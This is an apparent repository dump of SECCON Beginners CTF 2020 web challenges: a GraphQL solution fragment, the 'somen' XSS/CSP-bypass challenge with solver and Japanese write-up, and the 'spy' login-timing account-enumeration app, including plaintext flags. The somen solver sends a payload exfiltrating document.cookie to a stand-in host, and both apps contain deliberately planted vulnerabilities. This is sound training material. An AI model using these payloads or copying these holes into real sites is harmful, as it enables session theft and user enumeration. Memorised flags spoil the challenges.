possibleTypes { 61 | ...TypeRef 62 | } 63 | } 64 | 65 | fragment InputValue on __InputValue { 66 | name 67 | description 68 | type { 69 | ...TypeRef 70 | } 71 | defaultValue 72 | } 73 | 74 | fragment TypeRef on __Type { 75 | kind 76 | name 77 | ofType { 78 | kind 79 | name 80 | ofType { 81 | kind 82 | name 83 | ofType { 84 | kind 85 | name 86 | ofType { 87 | kind 88 | name 89 | ofType { 90 | kind 91 | name 92 | ofType { 93 | kind 94 | name 95 | ofType { 96 | kind 97 | name 98 | } 99 | } 100 | } 101 | } 102 | } 103 | } 104 | } 105 | } 106 | ``` 107 | 108 | 上記から`someone(uid: String!)`クエリを用いて特定のユーザの情報を取得できることが推察される。また、Flagページの内容からadminの`token`を取得することが目的であるとわかるため、`uid`には`admin`を指定する。 109 | 110 | 上記からadminの`token`がわかるため、`updateToken(token: "adminのtoken")`を送信し、自身の`token`をadminのものに置き換える。 111 | 112 | 最後にFlagのページにアクセスすればFlagを取得できる。 113 | -------------------------------------------------------------------------------- /web/somen/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{1_w0uld_l1k3_70_347_50m3n_b3f0r3_7ry1n6_70_3xpl017} -------------------------------------------------------------------------------- /web/somen/README.md: -------------------------------------------------------------------------------- 1 | # Somen 2 | 3 | ## 問題文 4 | 5 | Somen is so tasty. 6 | <環境への URL> 7 | 8 | ## 難易度 9 | 10 | 普通の CTF の Medium くらい。 11 | 12 | ## 動作 13 | 14 | 以下のコマンドで起動する。 15 | 16 | ```sh 17 | cp _env .env 18 | docker-compose up -d --build 19 | ``` 20 | 21 | 動作は次のようにして確認できる。 22 | 23 | ```sh 24 | curl http://localhost:20000/ 25 | ``` 26 | 27 | ## アイデア 28 | 29 | DOM Clobbering による nonce + hash + strict-dynamic な CSP のバイパスと、base tag injection による script ロードの破壊。 -------------------------------------------------------------------------------- /web/somen/build/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | .tern-port 4 | storage/logs/nginx/*.log -------------------------------------------------------------------------------- /web/somen/build/_env: -------------------------------------------------------------------------------- 1 | FLAG=ctf4b{1_w0uld_l1k3_70_347_50m3n_b3f0r3_7ry1n6_70_3xpl017} 2 | DOMAIN=nginx 3 | SCHEME=http 4 | APP_PORT=20000 -------------------------------------------------------------------------------- /web/somen/build/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | services: 3 | nginx: 4 | build: ./nginx 5 | ports: 6 | - "$APP_PORT:80" 7 | depends_on: 8 | - php-fpm 9 | volumes: 10 | - ./storage/logs/nginx:/var/log/nginx 11 | - ./public:/var/www/web 12 | environment: 13 | TZ: "Asia/Tokyo" 14 | restart: always 15 | 16 | php-fpm: 17 | build: ./php-fpm 18 | working_dir: /var/www/web 19 | environment: 20 | TZ: "Asia/Tokyo" 21 | volumes: 22 | - ./public:/var/www/web 23 | restart: always 24 | 25 | redis: 26 | image: redis:4.0.8 27 | restart: always 28 | 29 | worker: 30 | build: ./worker 31 | depends_on: 32 | - redis 33 | restart: always 34 | env_file: .env 35 | 36 | publisher: 37 | build: ./publisher 38 | depends_on: 39 | - redis 40 | restart: always 41 | -------------------------------------------------------------------------------- /web/somen/build/nginx/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nginx 2 | 3 | COPY default.conf /etc/nginx/conf.d/default.conf 4 | -------------------------------------------------------------------------------- /web/somen/build/nginx/default.conf: -------------------------------------------------------------------------------- 1 | server { 2 | server_tokens off; 3 | listen 80; 4 | server_name _; 5 | 6 | root /var/www/web; 7 | index index.html index.php; 8 | 9 | access_log /var/log/nginx/access.log; 10 | error_log /var/log/nginx/error.log; 11 | 12 | gzip on; 13 | gzip_types text/css application/javascript application/json application/font-woff application_font-tff image/gif image/png image/jpeg application/octet-stream; 14 | 15 | sendfile off; 16 | etag off; 17 | 18 | location /inquiry { 19 | proxy_pass http://publisher:8080; 20 | 21 | proxy_http_version 1.1; 22 | proxy_set_header Host $http_host; 23 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 24 | proxy_set_header X-Forwarded-Host $http_host; 25 | proxy_set_header X-Forwarded-Server $host; 26 | proxy_set_header X-Real-IP $remote_addr; 27 | } 28 | 29 | location ~ \.php$ { 30 | fastcgi_split_path_info ^(.+\.php)(\.+)$; 31 | include fastcgi_params; 32 | fastcgi_index index.php; 33 | fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 34 | fastcgi_pass php-fpm:9000; 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /web/somen/build/php-fpm/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.2.0-fpm-alpine 2 | 3 | ADD www.conf /usr/local/etc/php-fpm.d/www.conf -------------------------------------------------------------------------------- /web/somen/build/public/error.php: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /web/somen/build/public/index.php: -------------------------------------------------------------------------------- 1 | 5 | 6 | 7 |5 |47 |6 |16 |7 |15 |8 |13 | 14 |9 | 10 | 11 |12 |
17 |
18 | 19 |20 | 21 |28 | 29 | 27 |30 | 31 |38 | 37 |
39 | 40 |
41 | Get FLAG 42 |
43 | 46 |Best somen for = isset($_GET["username"]) ? $_GET["username"] : "You" ?> 8 | 9 | 10 | 20 | 21 | 22 | 23 |Best somen for You
24 | 25 |Please input your name. You can use only alphabets and digits.
26 |This page works fine with latest Google Chrome / Chromium. We won't support other browsers :P
27 | 28 | 32 |
33 | 34 |If your name causes suspicious behavior, please tell me that from the following form. Admin will acceess /?username=${encodeURIComponent(your input)} and see what happens.
35 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /web/somen/build/public/security.js: -------------------------------------------------------------------------------- 1 | console.log('!! security.js !!'); 2 | const username = new URL(location).searchParams.get("username"); 3 | if (username !== null && ! /^[a-zA-Z0-9]*$/.test(username)) { 4 | document.location = "/error.php"; 5 | } -------------------------------------------------------------------------------- /web/somen/build/publisher/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:8-slim 2 | 3 | WORKDIR /app 4 | 5 | ADD package.json /app/package.json 6 | ADD package-lock.json /app/package-lock.json 7 | RUN npm install 8 | 9 | RUN groupadd -r pptruser && useradd -r -g pptruser -G audio,video pptruser \ 10 | && mkdir -p /home/pptruser/Downloads \ 11 | && chown -R pptruser:pptruser /home/pptruser \ 12 | && chown -R pptruser:pptruser /app/node_modules 13 | 14 | USER pptruser 15 | 16 | ADD . /app 17 | 18 | ENTRYPOINT ["node", "publisher.js"] -------------------------------------------------------------------------------- /web/somen/build/publisher/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "publisher", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "publisher.js", 6 | "dependencies": { 7 | "body-parser": "^1.19.0", 8 | "express": "^4.16.4", 9 | "ioredis": "^4.14.1", 10 | "puppeteer": "^1.12.2", 11 | "request": "^2.88.0", 12 | "request-promise": "^4.2.4" 13 | }, 14 | "devDependencies": {}, 15 | "scripts": { 16 | "test": "echo \"Error: no test specified\" && exit 1" 17 | }, 18 | "author": "", 19 | "license": "ISC" 20 | } 21 | -------------------------------------------------------------------------------- /web/somen/build/publisher/publisher.js: -------------------------------------------------------------------------------- 1 | // set up redis 2 | const Redis = require('ioredis'); 3 | const connection = new Redis(6379, 'redis'); 4 | connection.set('queued_count', 0); 5 | connection.set('proceeded_count', 0); 6 | 7 | // set up express 8 | const app = require('express')(); 9 | const port = 8080; 10 | 11 | const bodyParser = require('body-parser'); 12 | app.use(bodyParser.urlencoded({ extended: false })) 13 | 14 | app.post('/inquiry', (req, res) => { 15 | try { 16 | if (req.body.username !== undefined && req.body.username != '') { 17 | connection.rpush('query', req.body.username).then(() => { 18 | connection.incr('queued_count') 19 | }).then(() => { 20 | console.log(`[*] Queried: ${req.body.username}`); 21 | res.send('Okay! I got it :-)'); 22 | }); 23 | } else { 24 | throw Error; 25 | } 26 | } catch (e) { 27 | res.send('Umm, there is something wrong ...'); 28 | } 29 | }); 30 | 31 | app.listen(port, () => { 32 | console.log(`Publisher is listening on port ${port}!`); 33 | }); 34 | -------------------------------------------------------------------------------- /web/somen/build/storage/logs/nginx/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2020/c643700479f5aefe0bf864da53b9c428f9a17439/web/somen/build/storage/logs/nginx/.gitkeep -------------------------------------------------------------------------------- /web/somen/build/worker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:8-slim 2 | 3 | RUN apt-get update && apt-get install -yq libgconf-2-4 4 | 5 | RUN apt-get update && apt-get install -y wget --no-install-recommends \ 6 | && wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - \ 7 | && sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \ 8 | && apt-get update \ 9 | && apt-get install -y google-chrome-unstable fonts-ipafont-gothic fonts-wqy-zenhei fonts-thai-tlwg fonts-kacst ttf-freefont \ 10 | --no-install-recommends \ 11 | && rm -rf /var/lib/apt/lists/* \ 12 | && apt-get purge --auto-remove -y curl \ 13 | && rm -rf /src/*.deb 14 | 15 | ADD ./dumb-init_1.2.0_amd64 /usr/local/bin/dumb-init 16 | RUN chmod +x /usr/local/bin/dumb-init 17 | 18 | ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 19 | 20 | WORKDIR /app 21 | 22 | ADD package.json /app/package.json 23 | ADD package-lock.json /app/package-lock.json 24 | RUN npm install 25 | 26 | RUN groupadd -r pptruser && useradd -r -g pptruser -G audio,video pptruser \ 27 | && mkdir -p /home/pptruser/Downloads \ 28 | && chown -R pptruser:pptruser /home/pptruser \ 29 | && chown -R pptruser:pptruser /app/node_modules 30 | 31 | USER pptruser 32 | 33 | ADD . /app 34 | 35 | ENTRYPOINT ["dumb-init", "--"] 36 | CMD ["node", "worker.js"] -------------------------------------------------------------------------------- /web/somen/build/worker/dumb-init_1.2.0_amd64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2020/c643700479f5aefe0bf864da53b9c428f9a17439/web/somen/build/worker/dumb-init_1.2.0_amd64 -------------------------------------------------------------------------------- /web/somen/build/worker/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "worker", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "worker.js", 6 | "dependencies": { 7 | "ioredis": "^4.14.1", 8 | "puppeteer": "^1.12.2" 9 | }, 10 | "devDependencies": {}, 11 | "scripts": { 12 | "test": "echo \"Error: no test specified\" && exit 1" 13 | }, 14 | "author": "", 15 | "license": "ISC" 16 | } 17 | -------------------------------------------------------------------------------- /web/somen/build/worker/worker.js: -------------------------------------------------------------------------------- 1 | const puppeteer = require('puppeteer'); 2 | const Redis = require('ioredis'); 3 | const connection = new Redis(6379, 'redis'); 4 | 5 | const crawl = async (username) => { 6 | // initialize 7 | const browser = await puppeteer.launch({ 8 | executablePath: 'google-chrome-unstable', 9 | headless: true, 10 | args: [ 11 | '--no-sandbox', 12 | '--disable-background-networking', 13 | '--disk-cache-dir=/dev/null', 14 | '--disable-default-apps', 15 | '--disable-extensions', 16 | '--disable-gpu', 17 | '--disable-sync', 18 | '--disable-translate', 19 | '--hide-scrollbars', 20 | '--metrics-recording-only', 21 | '--mute-audio', 22 | '--no-first-run', 23 | '--safebrowsing-disable-auto-update', 24 | ], 25 | }); 26 | const page = await browser.newPage(); 27 | 28 | // set cookie 29 | await page.setCookie({ 30 | name: 'flag', 31 | value: process.env.FLAG, 32 | domain: process.env.DOMAIN, 33 | expires: Date.now() / 1000 + 10, 34 | }); 35 | 36 | // access 37 | const url = `${process.env.SCHEME}://${process.env.DOMAIN}/?username=${encodeURIComponent(username)}`; 38 | try { 39 | await page.goto(url, { 40 | waitUntil: 'networkidle0', 41 | timeout: 5000, 42 | }); 43 | } catch (err) { 44 | console.log(err); 45 | } 46 | 47 | // finalize 48 | await page.close(); 49 | await browser.close(); 50 | }; 51 | 52 | (async () => { 53 | while (true) { 54 | console.log("[*] waiting new query ..."); 55 | await connection.blpop("query", 0).then(v => { 56 | const username = v[1]; 57 | console.log(`[*] started: ${username}`); 58 | return crawl(username); 59 | }).then(() => { 60 | console.log(`[*] finished.`) 61 | return connection.incr("proceeded_count"); 62 | }).catch(e => { 63 | console.log(e); 64 | }); 65 | }; 66 | })(); 67 | -------------------------------------------------------------------------------- /web/somen/files/index.php: -------------------------------------------------------------------------------- 1 | 5 | 6 | 7 |Best somen for = isset($_GET["username"]) ? $_GET["username"] : "You" ?> 8 | 9 | 10 | 20 | 21 | 22 | 23 |Best somen for You
24 | 25 |Please input your name. You can use only alphabets and digits.
26 |This page works fine with latest Google Chrome / Chromium. We won't support other browsers :P
27 | 28 | 32 |
33 | 34 |If your name causes suspicious behavior, please tell me that from the following form. Admin will acceess /?username=${encodeURIComponent(your input)} and see what happens.
35 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /web/somen/files/worker.js: -------------------------------------------------------------------------------- 1 | const puppeteer = require('puppeteer'); 2 | 3 | /* ... ... */ 4 | 5 | // initialize 6 | const browser = await puppeteer.launch({ 7 | executablePath: 'google-chrome-unstable', 8 | headless: true, 9 | args: [ 10 | '--no-sandbox', 11 | '--disable-background-networking', 12 | '--disk-cache-dir=/dev/null', 13 | '--disable-default-apps', 14 | '--disable-extensions', 15 | '--disable-gpu', 16 | '--disable-sync', 17 | '--disable-translate', 18 | '--hide-scrollbars', 19 | '--metrics-recording-only', 20 | '--mute-audio', 21 | '--no-first-run', 22 | '--safebrowsing-disable-auto-update', 23 | ], 24 | }); 25 | const page = await browser.newPage(); 26 | 27 | // set cookie 28 | await page.setCookie({ 29 | name: 'flag', 30 | value: process.env.FLAG, 31 | domain: process.env.DOMAIN, 32 | expires: Date.now() / 1000 + 10, 33 | }); 34 | 35 | // access 36 | // username is the input value of players 37 | const url = `https://somen.quals.beginners.seccon.jp/?username=${encodeURIComponent(username)}`; 38 | try { 39 | await page.goto(url, { 40 | waitUntil: 'networkidle0', 41 | timeout: 5000, 42 | }); 43 | } catch (err) { 44 | console.log(err); 45 | } 46 | 47 | // finalize 48 | await page.close(); 49 | await browser.close(); 50 | 51 | /* ... ... */ 52 | -------------------------------------------------------------------------------- /web/somen/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8.2-alpine 2 | 3 | WORKDIR /app 4 | ADD . /app 5 | 6 | RUN pip install -r requirements.txt 7 | 8 | CMD ["python", "/app/solver.py"] -------------------------------------------------------------------------------- /web/somen/solver/requirements.txt: -------------------------------------------------------------------------------- 1 | requests -------------------------------------------------------------------------------- /web/somen/solver/solver.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import os 3 | from time import sleep 4 | 5 | target_url_base = "https://{}:{}".format(os.getenv("CTF4B_HOST"), 6 | os.getenv("CTF4B_PORT")) 7 | 8 | # NOTE: 9 | # before running solver, you should place following scripts somewhere (e.g. http://solver.example/record.php). 10 | # 11 | # record.php 12 | # ``` 13 | # 17 | # ``` 18 | # 19 | # view.php 20 | # ``` 21 | # 24 | # ``` 25 | 26 | # clear the record server 27 | r = requests.get("http://solver.example/record.php?q=clear") 28 | assert(r.status_code == 200) 29 | 30 | # ensure the record was cleared 31 | assert('ctf4b' not in requests.get("http://solver.example/view.php").text) 32 | 33 | # query the payload 34 | r = requests.post(target_url_base + "/inquiry", data = { 35 | "username": "document.location=`http://solver.example/record.php?q=${encodeURIComponent(document.cookie)}`;//" 36 | 37 | }) 38 | assert(r.status_code == 200) 39 | 40 | # wait for crawler 41 | sleep(30) 42 | 43 | # check the record server 44 | print(requests.get("https://solver.example/view.php").text) 45 | -------------------------------------------------------------------------------- /web/somen/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | ## 方針 4 | 5 | この問題は Admin のクローラの Cookie 中にフラグが保持されることから、XSS 問題であることが察される。 6 | また CSP が以下のような PHP コードにより設定されている。 7 | 8 | ```php 9 | $nonce = base64_encode(random_bytes(20)); 10 | header("Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='"); 11 | ``` 12 | 13 | この CSP の場合、せいぜい攻撃可能性が生まれるとしたら、`strict-dynamic` のせいであろう。 14 | 15 | ## 脆弱性 16 | 17 | ページ中には以下のようなコード片が存在する。 18 | ここには明らかな Reflected XSS 脆弱性が存在する。 19 | 20 | ```php 21 | Best somen for = isset($_GET["username"]) ? $_GET["username"] : "You" ?> 22 | ``` 23 | 24 | また以下の箇所にも `innerHTML` への代入があり、かつ代入値は URL 中のクエリパラメータから来ているため、ここには DOM-based XSS 脆弱性がありそうだ。 25 | 26 | ```html 27 | 37 | ``` 38 | 39 | ## 方針 40 | 41 | CSP の制限により、インラインのコード実行はできない。 42 | なので `` タグ内の Reflected XSS から有効な `` を含めておけば、これが ` 13 |` タグ内の Reflected XSS 経由でページ中に挿入され、`document.getElementById("message")` が ` 91 | ``` -------------------------------------------------------------------------------- /web/spy/.gitignore: -------------------------------------------------------------------------------- 1 | ### https://raw.github.com/github/gitignore/7ab549fcae8269fdd4004065470176f829d88200/Python.gitignore 2 | 3 | # Byte-compiled / optimized / DLL files 4 | __pycache__/ 5 | *.py[cod] 6 | *$py.class 7 | 8 | # C extensions 9 | *.so 10 | 11 | # Distribution / packaging 12 | .Python 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | wheels/ 24 | pip-wheel-metadata/ 25 | share/python-wheels/ 26 | *.egg-info/ 27 | .installed.cfg 28 | *.egg 29 | MANIFEST 30 | 31 | # PyInstaller 32 | # Usually these files are written by a python script from a template 33 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 34 | *.manifest 35 | *.spec 36 | 37 | # Installer logs 38 | pip-log.txt 39 | pip-delete-this-directory.txt 40 | 41 | # Unit test / coverage reports 42 | htmlcov/ 43 | .tox/ 44 | .nox/ 45 | .coverage 46 | .coverage.* 47 | .cache 48 | nosetests.xml 49 | coverage.xml 50 | *.cover 51 | *.py,cover 52 | .hypothesis/ 53 | .pytest_cache/ 54 | 55 | # Translations 56 | *.mo 57 | *.pot 58 | 59 | # Django stuff: 60 | *.log 61 | local_settings.py 62 | db.sqlite3 63 | db.sqlite3-journal 64 | 65 | # Flask stuff: 66 | instance/ 67 | .webassets-cache 68 | 69 | # Scrapy stuff: 70 | .scrapy 71 | 72 | # Sphinx documentation 73 | docs/_build/ 74 | 75 | # PyBuilder 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | .python-version 87 | 88 | # pipenv 89 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 90 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 91 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 92 | # install all needed dependencies. 93 | #Pipfile.lock 94 | 95 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 96 | __pypackages__/ 97 | 98 | # Celery stuff 99 | celerybeat-schedule 100 | celerybeat.pid 101 | 102 | # SageMath parsed files 103 | *.sage.py 104 | 105 | # Environments 106 | .env 107 | .venv 108 | env/ 109 | venv/ 110 | ENV/ 111 | env.bak/ 112 | venv.bak/ 113 | 114 | # Spyder project settings 115 | .spyderproject 116 | .spyproject 117 | 118 | # Rope project settings 119 | .ropeproject 120 | 121 | # mkdocs documentation 122 | /site 123 | 124 | # mypy 125 | .mypy_cache/ 126 | .dmypy.json 127 | dmypy.json 128 | 129 | # Pyre type checker 130 | .pyre/ 131 | 132 | 133 | -------------------------------------------------------------------------------- /web/spy/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck} -------------------------------------------------------------------------------- /web/spy/README.md: -------------------------------------------------------------------------------- 1 | # Spy 2 | ## 問題文 3 | As a spy, you are spying on the "ctf4b company". 4 | 5 | You got the name-list of employees and the URL to the in-house web tool used by some of them. 6 | 7 | Your task is to enumerate the employees who use this tool in order to make it available for social engineering. 8 | 9 | {{ URL }} 10 | 11 | ## 難易度 12 | 自明。 13 | 14 | ## 概要 15 | Account Enumerationの問題。 16 | 17 | 対象のWebアプリケーションに登録されているアカウントを全て正しく列挙することができればFLAGを表示する。 18 | 19 | 対象のWebアプリケーションではログイン処理の流れが下記のようになっているため、アカウントが存在する場合と存在しない場合で処理に時間差が発生する。この事実を用いることで、登録されているアカウントの列挙が可能となる。 20 | 21 | ``` 22 | -- 23 | input: ID, パスワード 24 | -- 25 | 26 | アカウント = アカウント取得(ID) 27 | if (アカウントが存在しない) { 28 | ログイン失敗時の処理() 29 | } 30 | 31 | ハッシュ値 = SHA-256(SHA-256( ... SHA-256(ソルト + パスワード) ... )) (*1 million times) 32 | 33 | if (ハッシュ値 != アカウント.事前に計算されたパスワードのハッシュ値) { 34 | ログイン失敗時の処理() 35 | } 36 | 37 | ログイン成功時の処理() 38 | ``` 39 | 40 | なお、実際にソルト+ストレッチングの処理を実装すると負荷がかかる上、問題の要件を満たすためには「処理に時間差が発生する」という事実が提示できれば十分なので、実際には`time.sleep(1)`を実行するのみとする。 41 | 42 | ## 参考 43 | [Once upon a time an account enumeration](https://sidechannel.tempestsi.com/once-upon-a-time-there-was-an-account-enumeration-4cf8ca7cd6c1) -------------------------------------------------------------------------------- /web/spy/build/app/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8.2-alpine 2 | 3 | WORKDIR /usr/src/app 4 | 5 | COPY . . 6 | RUN apk add gcc build-base linux-headers && \ 7 | pip install -r requirements.txt 8 | 9 | CMD ["uwsgi", "--ini", "uwsgi.ini"] 10 | -------------------------------------------------------------------------------- /web/spy/build/app/app.py: -------------------------------------------------------------------------------- 1 | import os 2 | import time 3 | 4 | from flask import Flask, render_template, request, session 5 | 6 | # Database and Authentication libraries (you can't see this :p). 7 | import db 8 | import auth 9 | 10 | # ==================== 11 | 12 | app = Flask(__name__) 13 | app.SALT = os.getenv("CTF4B_SALT") 14 | app.FLAG = os.getenv("CTF4B_FLAG") 15 | app.SECRET_KEY = os.getenv("CTF4B_SECRET_KEY") 16 | 17 | db.init() 18 | employees = db.get_all_employees() 19 | 20 | # ==================== 21 | 22 | @app.route("/", methods=["GET", "POST"]) 23 | def index(): 24 | t = time.perf_counter() 25 | 26 | if request.method == "GET": 27 | return render_template("index.html", message="Please login.", sec="{:.7f}".format(time.perf_counter()-t)) 28 | 29 | if request.method == "POST": 30 | name = request.form["name"] 31 | password = request.form["password"] 32 | 33 | exists, account = db.get_account(name) 34 | 35 | if not exists: 36 | return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t)) 37 | 38 | # auth.calcpassword_hash(salt, password) adds salt and performs stretching more than a million times. 39 | # You know, it's really secure... isn't it? :-) 40 | hashed_password = auth.calc_password_hash(app.SALT, password) 41 | if hashed_password != account.password: 42 | return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t)) 43 | 44 | session["name"] = name 45 | return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t)) 46 | 47 | # ==================== 48 | 49 | @app.route("/challenge", methods=["GET", "POST"]) 50 | def challenge(): 51 | t = time.perf_counter() 52 | 53 | if request.method == "GET": 54 | return render_template("challenge.html", employees=employees, sec="{:.7f}".format(time.perf_counter()-t)) 55 | 56 | if request.method == "POST": 57 | answer = request.form.getlist("answer") 58 | 59 | # If you can enumerate all accounts, I'll give you FLAG! 60 | if set(answer) == set(account.name for account in db.get_all_accounts()): 61 | message = app.FLAG 62 | else: 63 | message = "Wrong!!" 64 | 65 | return render_template("challenge.html", message=message, employees=employees, sec="{:.7f}".format(time.perf_counter()-t)) 66 | 67 | # ==================== 68 | 69 | if __name__ == '__main__': 70 | db.init() 71 | app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT")) -------------------------------------------------------------------------------- /web/spy/build/app/auth.py: -------------------------------------------------------------------------------- 1 | import time 2 | import random 3 | 4 | def calc_password_hash(salt, password): 5 | time.sleep(random.uniform(-0.2, 0.2) + 1.0) 6 | return "meow" -------------------------------------------------------------------------------- /web/spy/build/app/db.py: -------------------------------------------------------------------------------- 1 | class Account: 2 | def __init__(self, name, password): 3 | self.name = name 4 | self.password = password 5 | 6 | 7 | accounts = None 8 | employees = None 9 | 10 | def init(): 11 | global accounts 12 | global employees 13 | 14 | accounts = [ 15 | Account("Elbert", "impossible_value"), 16 | Account("George", "impossible_value"), 17 | Account("Lazarus", "impossible_value"), 18 | Account("Marc", "impossible_value"), 19 | Account("Tony", "impossible_value"), 20 | Account("Ximena", "impossible_value"), 21 | Account("Yvonne", "impossible_value") 22 | ] 23 | 24 | employees = [ 25 | "Arthur", "Barbara", "Christine", "David", "Elbert", 26 | "Franklin", "George", "Harris", "Ivan", "Jane", 27 | "Kevin", "Lazarus", "Marc", "Nathan", "Oliver", 28 | "Paul", "Quentin", "Randolph", "Scott", "Tony", 29 | "Ulysses", "Vincent", "Wat", "Ximena", "Yvonne", "Zalmon" 30 | ] 31 | 32 | 33 | def get_all_accounts(): 34 | return accounts 35 | 36 | 37 | def get_all_employees(): 38 | return employees 39 | 40 | 41 | def get_account(name): 42 | for account in accounts: 43 | if account.name == name: 44 | return (True, account) 45 | 46 | return (False, None) -------------------------------------------------------------------------------- /web/spy/build/app/requirements.txt: -------------------------------------------------------------------------------- 1 | click==7.1.1 2 | Flask==1.1.2 3 | itsdangerous==1.1.0 4 | Jinja2==2.11.2 5 | MarkupSafe==1.1.1 6 | uWSGI==2.0.18 7 | Werkzeug==1.0.1 8 | -------------------------------------------------------------------------------- /web/spy/build/app/templates/challenge.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | SPY 8 | 9 | 10 | 11 | 12 |14 | 22 | 23 |15 |21 |16 |20 |17 | Challenge 18 |
19 |24 | 52 | 53 | 59 | -------------------------------------------------------------------------------- /web/spy/build/app/templates/dashboard.html: -------------------------------------------------------------------------------- 1 | You can't see this. -------------------------------------------------------------------------------- /web/spy/build/app/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |25 |51 |26 |50 |27 | {% if message %} 28 |49 |{{ message }}
29 |
30 | {% endif %} 31 |Choose the right combination.
32 | 44 |
45 |
46 |
47 | Back to login page 48 |SPY 8 | 9 | 10 | 11 | 12 | 13 |14 | 22 | 23 |15 |21 |16 |20 |17 | ctf4b company 18 |
19 |24 | 51 | 52 | 58 | -------------------------------------------------------------------------------- /web/spy/build/app/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | module = app:app 3 | uid = 1000 4 | gid = 1000 5 | socket = 0.0.0.0:5000 6 | workers = 4 7 | threads = 4 8 | harakiri = 5 9 | master = true 10 | -------------------------------------------------------------------------------- /web/spy/build/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | app: 5 | build: 6 | context: app 7 | dockerfile: Dockerfile 8 | env_file: .env 9 | environment: 10 | TZ: "Asia/Tokyo" 11 | networks: 12 | - spy 13 | restart: always 14 | nginx: 15 | image: nginx:alpine 16 | restart: always 17 | ports: 18 | - "80:80" 19 | volumes: 20 | - ./nginx/nginx.conf:/etc/nginx/nginx.conf:ro 21 | networks: 22 | - spy 23 | 24 | networks: 25 | spy: 26 | -------------------------------------------------------------------------------- /web/spy/build/nginx/nginx.conf: -------------------------------------------------------------------------------- 1 | user nginx; 2 | worker_processes auto; 3 | pid /run/nginx.pid; 4 | worker_rlimit_nofile 20000; 5 | 6 | events { 7 | worker_connections 4096; 8 | multi_accept on; 9 | use epoll; 10 | } 11 | 12 | http { 13 | # we use kataribe 14 | log_format with_time '$remote_addr - $remote_user [$time_local] ' 15 | '"$request" $status $body_bytes_sent ' 16 | '"$http_referer" "$http_user_agent" $request_time'; 17 | access_log /var/log/nginx/access.log with_time; 18 | error_log /var/log/nginx/error.log warn; 19 | 20 | open_file_cache max=100 inactive=20s; 21 | open_file_cache_valid 60s; 22 | open_file_cache_min_uses 1; 23 | open_file_cache_errors on; 24 | 25 | client_body_buffer_size 8K; 26 | client_header_buffer_size 1k; 27 | client_max_body_size 2m; 28 | large_client_header_buffers 2 1k; 29 | 30 | client_body_timeout 5; 31 | client_header_timeout 5; 32 | keepalive_timeout 5; 33 | send_timeout 5; 34 | 35 | sendfile on; 36 | tcp_nopush on; 37 | tcp_nodelay on; 38 | types_hash_max_size 2048; 39 | server_tokens off; 40 | 41 | include /etc/nginx/mime.types; 42 | default_type application/octet-stream; 43 | 44 | server { 45 | listen 80 default_server; 46 | 47 | server_name _; 48 | 49 | location / { 50 | include uwsgi_params; 51 | uwsgi_pass app:5000; 52 | } 53 | 54 | # We don't serve static files, right? 55 | location ~* \.(jpg|png|gif|jpeg|css|js|swf|pdf|html|htm|flv|ico)$ { 56 | return 404; 57 | } 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /web/spy/files/app.py: -------------------------------------------------------------------------------- 1 | import os 2 | import time 3 | 4 | from flask import Flask, render_template, request, session 5 | 6 | # Database and Authentication libraries (you can't see this :p). 7 | import db 8 | import auth 9 | 10 | # ==================== 11 | 12 | app = Flask(__name__) 13 | app.SALT = os.getenv("CTF4B_SALT") 14 | app.FLAG = os.getenv("CTF4B_FLAG") 15 | app.SECRET_KEY = os.getenv("CTF4B_SECRET_KEY") 16 | 17 | db.init() 18 | employees = 